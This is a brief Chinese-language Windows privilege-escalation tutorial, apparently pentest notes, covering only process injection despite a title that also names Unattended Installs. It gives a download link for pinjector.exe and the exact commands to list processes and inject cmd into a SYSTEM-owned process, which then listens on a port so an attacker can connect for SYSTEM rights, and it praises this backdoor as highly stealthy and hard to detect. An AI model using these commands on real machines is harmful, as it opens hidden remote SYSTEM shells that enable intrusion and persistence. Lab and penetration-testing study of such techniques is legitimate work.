Windows提权—进程注入、Unattended Installs提权

进程注入提权

使用 pinjector.exe 注入到system用户的进程中，使该进程绑定在0.0.0.0:port ，并建立监听端口，攻击者从攻击机上主动连接该地址，获取到系统的system权限
注入进程提权相当于开启了一个后门， 隐蔽性极高，不会创建新的进程，很难发现

下载pinjector.exe

https://www.tarasco.org/security/Process_Injector/index.html

上传 pinjector.exe到靶机可执行目录

##列取所有进程
pinjector.exe -l

##选择一个system权限运行的进程，对此pid进程执行注入，并建立侦听端口
pinjector.exe -p <pid> cmd <port>